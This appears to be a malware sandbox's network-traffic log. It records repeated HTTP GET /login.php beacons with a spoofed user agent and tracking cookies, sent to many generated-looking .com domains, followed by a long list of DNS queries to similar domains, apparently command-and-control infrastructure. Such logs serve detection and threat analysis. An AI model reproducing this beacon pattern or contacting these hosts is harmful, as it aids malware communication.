Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347428\|1731347428\|0\|1\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347465\|1731347428\|10\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347465\|1731347428\|18\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347473\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347473\|1731347428\|13\|3\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comCookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lyvyxor.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vojyqem.comCookie: parking_session=1e890a73-ac3b-42d0-806f-39725fa4b723
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qetyfuv.comCookie: snkz=66.23.206.109; btst=4373610fafa62658a68c9dde6ca5d09a\|66.23.206.109\|1731347479\|1731347428\|7\|5\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gahyqah.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vonypom.comCookie: snkz=66.23.206.109; btst=540e8cd587688b22b6a34721957e6de0\|66.23.206.109\|1731347463\|1731347428\|17\|2\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gadyniw.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: vocyzit.comCookie: snkz=66.23.206.109; btst=39d16f88231e9d77c030571879e36c23\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: puzylyp.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: gatyfus.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: qegyhig.com
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: lymyxid.comCookie: snkz=66.23.206.109; btst=3f95d6b3439c1d0f64626ac83ec297f1\|66.23.206.109\|1731347479\|1731347428\|9\|4\|0
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: galyqaz.comCookie: vsid=903vr478893028933998491
Source: global traffic	HTTP traffic detected: GET /login.php HTTP/1.1Referer: http://www.google.comUser-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)Host: www.gahyqah.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: vonypom.com
Source: global traffic	DNS traffic detected: DNS query: qekyqop.com
Source: global traffic	DNS traffic detected: DNS query: lysynur.com
Source: global traffic	DNS traffic detected: DNS query: lysyfyj.com
Source: global traffic	DNS traffic detected: DNS query: lymyxid.com
Source: global traffic	DNS traffic detected: DNS query: volyqat.com
Source: global traffic	DNS traffic detected: DNS query: qedyfyq.com
Source: global traffic	DNS traffic detected: DNS query: pumyxiv.com
Source: global traffic	DNS traffic detected: DNS query: lyxywer.com
Source: global traffic	DNS traffic detected: DNS query: vonyzuf.com
Source: global traffic	DNS traffic detected: DNS query: vojyjof.com
Source: global traffic	DNS traffic detected: DNS query: galyqaz.com
Source: global traffic	DNS traffic detected: DNS query: qekykev.com
Source: global traffic	DNS traffic detected: DNS query: purycap.com
Source: global traffic	DNS traffic detected: DNS query: qebytiq.com
Source: global traffic	DNS traffic detected: DNS query: vopybyt.com
Source: global traffic	DNS traffic detected: DNS query: lykyjad.com
Source: global traffic	DNS traffic detected: DNS query: ganypih.com
Source: global traffic	DNS traffic detected: DNS query: pupybul.com
Source: global traffic	DNS traffic detected: DNS query: vocyzit.com
Source: global traffic	DNS traffic detected: DNS query: pufygug.com
Source: global traffic	DNS traffic detected: DNS query: puvyxil.com
Source: global traffic	DNS traffic detected: DNS query: gahyqah.com
Source: global traffic	DNS traffic detected: DNS query: qexyryl.com
Source: global traffic	DNS traffic detected: DNS query: vowycac.com
Source: global traffic	DNS traffic detected: DNS query: lygygin.com
Source: global traffic	DNS traffic detected: DNS query: gacyryw.com
Source: global traffic	DNS traffic detected: DNS query: qeqyxov.com
Source: global traffic	DNS traffic detected: DNS query: qegyhig.com
Source: global traffic	DNS traffic detected: DNS query: vocyruk.com
Source: global traffic	DNS traffic detected: DNS query: galykes.com
Source: global traffic	DNS traffic detected: DNS query: pujyjav.com
Source: global traffic	DNS traffic detected: DNS query: gahyhob.com
Source: global traffic	DNS traffic detected: DNS query: puvytuq.com
Source: global traffic	DNS traffic detected: DNS query: qetyvep.com
Source: global traffic	DNS traffic detected: DNS query: lyvyxor.com
Source: global traffic	DNS traffic detected: DNS query: lyryfyd.com
Source: global traffic	DNS traffic detected: DNS query: gaqycos.com
Source: global traffic	DNS traffic detected: DNS query: pumypog.com
Source: global traffic	DNS traffic detected: DNS query: qegyqaq.com
Source: global traffic	DNS traffic detected: DNS query: lymysan.com
Source: global traffic	DNS traffic detected: DNS query: puzywel.com
Source: global traffic	DNS traffic detected: DNS query: vofygum.com
Source: global traffic	DNS traffic detected: DNS query: gatyfus.com
Source: global traffic	DNS traffic detected: DNS query: gadyniw.com
Source: global traffic	DNS traffic detected: DNS query: qeqysag.com
Source: global traffic	DNS traffic detected: DNS query: qedynul.com
Source: global traffic	DNS traffic detected: DNS query: vofymik.com
Source: global traffic	DNS traffic detected: DNS query: lyryvex.com
Source: global traffic	DNS traffic detected: DNS query: volykyc.com
Source: global traffic	DNS traffic detected: DNS query: puzylyp.com
Source: global traffic	DNS traffic detected: DNS query: gacyzuz.com
Source: global traffic	DNS traffic detected: DNS query: pufymoq.com
Source: global traffic	DNS traffic detected: DNS query: qetyfuv.com
Source: global traffic	DNS traffic detected: DNS query: vowydef.com
Source: global traffic	DNS traffic detected: DNS query: gaqydeb.com
Source: global traffic	DNS traffic detected: DNS query: lygymoj.com
Source: global traffic	DNS traffic detected: DNS query: gatyvyz.com
Source: global traffic	DNS traffic detected: DNS query: purydyv.com
Source: global traffic	DNS traffic detected: DNS query: lyvytuj.com
Source: global traffic	DNS traffic detected: DNS query: vojyqem.com
Source: global traffic	DNS traffic detected: DNS query: lyxylux.com
Source: global traffic	DNS traffic detected: DNS query: gadyfuh.com
Source: global traffic	DNS traffic detected: DNS query: qexylup.com
Source: global traffic	DNS traffic detected: DNS query: ww8.galyqaz.com
Source: global traffic	DNS traffic detected: DNS query: ww3.galyqaz.com
Source: global traffic	DNS traffic detected: DNS query: pupydeq.com
Source: global traffic	DNS traffic detected: DNS query: ganyzub.com
Source: global traffic	DNS traffic detected: DNS query: lykymox.com
Source: global traffic	DNS traffic detected: DNS query: vopydek.com
Source: global traffic	DNS traffic detected: DNS query: pujymip.com
Source: global traffic	DNS traffic detected: DNS query: qebylug.com
Source: global traffic	DNS traffic detected: DNS query: qetysal.com
Source: global traffic	DNS traffic detected: DNS query: lyvylyn.com
Source: global traffic	DNS traffic detected: DNS query: vojymic.com
Source: global traffic	DNS traffic detected: DNS query: gatydaw.com
Source: global traffic	DNS traffic detected: DNS query: gahynus.com
Source: global traffic	DNS traffic detected: DNS query: volymum.com
Source: global traffic	DNS traffic detected: DNS query: vowypit.com
Source: global traffic	DNS traffic detected: DNS query: lymylyr.com
Source: global traffic	DNS traffic detected: DNS query: gadydas.com
Source: global traffic	DNS traffic detected: DNS query: puzymig.com
Source: global traffic	DNS traffic detected: DNS query: qeqylyl.com
Source: global traffic	DNS traffic detected: DNS query: vofydac.com
Source: global traffic	DNS traffic detected: DNS query: lyxymin.com
Source: global traffic	DNS traffic detected: DNS query: gaqyzuw.com
Source: global traffic	DNS traffic detected: DNS query: qexyqog.com
Source: global traffic	DNS traffic detected: DNS query: vowyzuk.com
Source: global traffic	DNS traffic detected: DNS query: pufydep.com
Source: global traffic	DNS traffic detected: DNS query: lygyfex.com
Source: global traffic	DNS traffic detected: DNS query: qegyfyp.com
Source: global traffic	DNS traffic detected: DNS query: vocyqaf.com
Source: global traffic	DNS traffic detected: DNS query: qetyxiq.com
Source: global traffic	DNS traffic detected: DNS query: gahyfyz.com
Source: global traffic	DNS traffic detected: DNS query: gacyqob.com
Source: global traffic	DNS traffic detected: DNS query: puvywav.com
Source: global traffic	DNS traffic detected: DNS query: puryxuq.com
Source: global traffic	DNS traffic detected: DNS query: lyryxij.com
Source: global traffic	DNS traffic detected: DNS query: qekyhil.com
Source: global traffic	DNS traffic detected: DNS query: qegynuv.com

